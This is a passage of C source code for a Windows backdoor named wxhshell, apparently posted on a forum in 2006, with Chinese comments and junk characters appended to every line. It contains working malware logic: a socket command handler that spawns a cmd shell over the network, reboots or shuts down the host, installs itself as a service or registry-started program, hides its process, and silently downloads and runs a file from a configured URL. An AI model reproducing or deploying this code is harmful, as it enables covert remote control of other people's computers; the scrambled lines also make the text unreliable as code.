  case '?': { VxsW3*`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r,0> 40^  
    break; @BBqH&<`  
  } p-zLi!  
  // 安装 $XaZqzeVI  
  case 'i': { \:O5,wf2  
    if(Install()) am@\$Sa4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i12iB+q  
    else <.=   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q=>@:1=  
    break; s%p(_pB  
    } bBg?x 4bu  
  // 卸载 YK_a37E{F  
  case 'r': { Bz ]64/  
    if(Uninstall()) F"9q Bl~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :%;K`w  
    else *6=[Hmygi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V! ~uGf  
    break; W;,Jte<'Nm  
    } KcY 2lTvx  
  // 显示 wxhshell 所在路径 jaNkWTm :  
  case 'p': { ))Aj X  
    char svExeFile[MAX_PATH]; [}+ MZ  
    strcpy(svExeFile,"\n\r"); (bZ)pW/iw  
      strcat(svExeFile,ExeFile); GyT{p#l  
        send(wsh,svExeFile,strlen(svExeFile),0); L5PN]<~T  
    break; P 7gS M  
    } JYKaF6bx8  
  // 重启 0oM~e  
  case 'b': { q/&Z6LJ)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +#n[55d  
    if(Boot(REBOOT)) \Mt(9jNK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i7Y 96]  
    else { Mi S$Y  
    closesocket(wsh); $ V}s3  
    ExitThread(0); 9\|3Gm_  
    } ]<{BDXIGIE  
    break; a0y;c@pkO  
    } E Sb  
  // 关机 %*:-4K  
  case 'd': { n,n]V$HFGh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7GE.>h5  
    if(Boot(SHUTDOWN)) &]uhPx/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,mjwQ6:Ny  
    else { "r.pU(uxt  
    closesocket(wsh); %6*xnB?  
    ExitThread(0); Ugrcy7  
    } Z7OWpujCvN  
    break; 5C2 *f 4|  
    } J[]YG+r  
  // 获取shell ?JtFiw  
  case 's': { Wh 8fC(BE  
    CmdShell(wsh); e WcS>N  
    closesocket(wsh); e7 5*84  
    ExitThread(0); "y>l2V,4j%  
    break; { \r{$<s  
  } ])T*T$u  
  // 退出 "(T@*"vX2  
  case 'x': { ;M\H#%G.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k\1q Jr  
    CloseIt(wsh); d;)Im "  
    break; wcB-)Ra  
    } ~#@sZ0/<  
  // 离开 \ $z.x-U  
  case 'q': { 3Pkzzyk_|D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rzEE |  
    closesocket(wsh); t$R|lv5<  
    WSACleanup(); wnha c}  
    exit(1); w^z}!/"]u  
    break; >/}v8 k1v  
        } b pExYyt  
  } wrw~J  
  } s+o/:rrx Y  
zj"J~s;?  
  // 提示信息 [C/h{WPC-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !</5 )B`5:  
} "4}{Z)&R2  
  } d];E99}  
R:Z{,R+  
  return; Nn4<:2  
}  |Pwb7:a3  
[2.pZB  
// shell模块句柄 4k<4=E  
int CmdShell(SOCKET sock) 5\RKT)%X  
{ EZE/~$`3   
STARTUPINFO si; Y <Ta2H  
ZeroMemory(&si,sizeof(si)); zeNvg/LI^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M|6 W<y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h#'(UZ  
PROCESS_INFORMATION ProcessInfo; Ah) _mxK  
char cmdline[]="cmd"; =w_y<V4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x gnt)&7T  
  return 0; doVBVTk^  
} Gb~*[  
@T>)fKCg  
// 自身启动模式 E(>RmPP=7  
int StartFromService(void) L:%; Fx2  
{ ``$At,m  
typedef struct vw>O;u.]B  
{ OGrp {s  
  DWORD ExitStatus; uXNJ{]o  
  DWORD PebBaseAddress; _ B",? }  
  DWORD AffinityMask; ID E3>D  
  DWORD BasePriority; F+v?2|03  
  ULONG UniqueProcessId; d]$z&E  
  ULONG InheritedFromUniqueProcessId; =-1d m+P  
}   PROCESS_BASIC_INFORMATION; O jr{z  
K{t7_i#tv  
PROCNTQSIP NtQueryInformationProcess; v/}M _E  
wQlK[F]!>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =>n:\_*M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G*3O5m  
?)'j;1_=E3  
  HANDLE             hProcess; #ZeZs31  
  PROCESS_BASIC_INFORMATION pbi; DNq=|?qn]  
6rF[eb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WojZ[j>  
  if(NULL == hInst ) return 0; O>lF{yO0`  
7Ha +@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (zCas}YAKI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .~4%TsBaY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wJ/k\  
e(O"V3wq*6  
  if (!NtQueryInformationProcess) return 0; !!%vs 6  
|j#x}8 [(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w%GEOIj}  
  if(!hProcess) return 0; .3 m^yo c/  
~^w;`~L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ? D2:'gg  
]SFB_5Gb  
  CloseHandle(hProcess); GGo nA  
`LEk/b1(P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (iIJ[{[H4)  
if(hProcess==NULL) return 0;  # G0jMQ  
l5l:'EY>  
HMODULE hMod; *ukE"Aj  
char procName[255]; 4Fgy<^94`  
unsigned long cbNeeded; xbxU`2/  
q]`XUGC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3^xTZ*G  
k?o(j/  
  CloseHandle(hProcess); Azxy!gDT"  
^ RU"v>  
if(strstr(procName,"services")) return 1; // 以服务启动 "|gNNmr  
APsd^J  
  return 0; // 注册表启动 r2]:'O6  
} vbXuT$  
#E3Y; b%v  
// 主模块 (B.J8`h }  
int StartWxhshell(LPSTR lpCmdLine) vA10'Gx'  
{ b6 &`]O;%  
  SOCKET wsl; C6Ap  4  
BOOL val=TRUE; 24}r;=U  
  int port=0; gxycw4kz  
  struct sockaddr_in door; Sx5r u?$.  
wv # 1s3  
  if(wscfg.ws_autoins) Install(); _1VtVfiZ{  
fpwge/w  
port=atoi(lpCmdLine); rgWGe6;!  
CD:@OI  
if(port<=0) port=wscfg.ws_port; J0~Ha u  
dBE :rZu  
  WSADATA data; ^PMP2\JQA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 22a$//}E  
-4m UGh1dy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l 'fUa  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S^]i  
  door.sin_family = AF_INET; H5j~<@STC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \SkCsE#H  
  door.sin_port = htons(port); 6=3}gd5  
osB[KRT>("  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~vy_~|6s  
closesocket(wsl); f>g>7OsD]  
return 1; B5hk]=Ud  
} iEux`CcJ.  
=5a~xlBjD  
  if(listen(wsl,2) == INVALID_SOCKET) { Q+*o-  
closesocket(wsl); {0WLY@7 2?  
return 1; '=EaZ>=  
} ExqI=k`Zs  
  Wxhshell(wsl); hs}nI/#  
  WSACleanup(); \::<]  
S\ JV96  
return 0; AfpB=3  
E)|fKds  
} 2~AGOx  
6Daz1Pxd+  
// 以NT服务方式启动 ^n"ve2   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~T7\lJ{%G  
{  S =!3t`  
DWORD   status = 0; {<5rbsqk  
  DWORD   specificError = 0xfffffff; \/I@&$"F  
/ Li?;H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m*tmmP4R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /v 7U~i5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qd6XKl\5  
  serviceStatus.dwWin32ExitCode     = 0; '9>z4G*Td  
  serviceStatus.dwServiceSpecificExitCode = 0; xV @X%E  
  serviceStatus.dwCheckPoint       = 0; {wiw]@c8  
  serviceStatus.dwWaitHint       = 0; f' Dl*d  
v?F~fRH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6H\3  
  if (hServiceStatusHandle==0) return; id8a#&t]  
nyD(G=Q5  
status = GetLastError(); BY.' 0,H=k  
  if (status!=NO_ERROR) I:Wrwd  
{ MQ9 9fD$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $rD&rsx6  
    serviceStatus.dwCheckPoint       = 0; 7 [N1Vr(1  
    serviceStatus.dwWaitHint       = 0; Zmw'.hL  
    serviceStatus.dwWin32ExitCode     = status; +FRXTku(  
    serviceStatus.dwServiceSpecificExitCode = specificError; ' \Z54$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cd)yj&:?Bt  
    return; :jKD M  
  } pi[:"}m]/P  
/xj^TyWM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SsiAyQ|Ma  
  serviceStatus.dwCheckPoint       = 0; r%A-  
  serviceStatus.dwWaitHint       = 0; c&z@HEzV7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vG`R.  
} _ #288`bU  
.YKqYN?y4  
// 处理NT服务事件,比如:启动、停止 @ 6w\q?.s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w?|gJ*B"  
{ WDNuR #J?  
switch(fdwControl) =t\HtAXn[  
{ $q);xs  
case SERVICE_CONTROL_STOP: w0(A7L:L  
  serviceStatus.dwWin32ExitCode = 0; xH#R_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u snbGkq  
  serviceStatus.dwCheckPoint   = 0; IF YGl  
  serviceStatus.dwWaitHint     = 0; ig3HPlC  
  { Vi[* a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EH<rUv63  
  } eSHyA+ F  
  return; _"%mLH=!8  
case SERVICE_CONTROL_PAUSE: 3QM6M9M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4Z5ZV!  
  break; 9#L0Q%,*  
case SERVICE_CONTROL_CONTINUE: 9E~=/Q=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H z&a~  
  break; w K0vKdi  
case SERVICE_CONTROL_INTERROGATE: *U|K~dl]K  
  break; q'9u8b  
}; =Bu> }$BD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BWV)> -V  
} YYwFjA@  
i;>Yx#  
// 标准应用程序主函数 8`l bKV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :1NF#-2\f  
{ Y4 q;  
qKag'0e  
// 获取操作系统版本 >J,Rx!fq3  
OsIsNt=GetOsVer(); ")LcB' C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); + pTc2z  
qT}<D`\  
  // 从命令行安装 feSd%  
  if(strpbrk(lpCmdLine,"iI")) Install(); KvW {M  
X<{kf-GP  
  // 下载执行文件 -,+zA.{+W  
if(wscfg.ws_downexe) { 3.>M=K~09  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #InuN8sI  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2>3#/I9Y  
} +j Z,vKr  
6V)P4ao  
if(!OsIsNt) { J3`a}LyDf  
// 如果时win9x,隐藏进程并且设置为注册表启动 } wZ9#Ll  
HideProc(); I(!i"b9  
StartWxhshell(lpCmdLine); 5nC#<EE  
} |Xz-rgkQ  
else ([\mnL<FC  
  if(StartFromService()) a hQdBoj  
  // 以服务方式启动 IJ >qs8  
  StartServiceCtrlDispatcher(DispatchTable); nKpXRuFn\  
else NH+?7rf8  
  // 普通方式启动 L|O[u^  
  StartWxhshell(lpCmdLine); x{y}pH"H  
}Fs;sfH  
return 0; *9Eep~ 6  
}
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只看该作者 1 发表于: 2006-10-10
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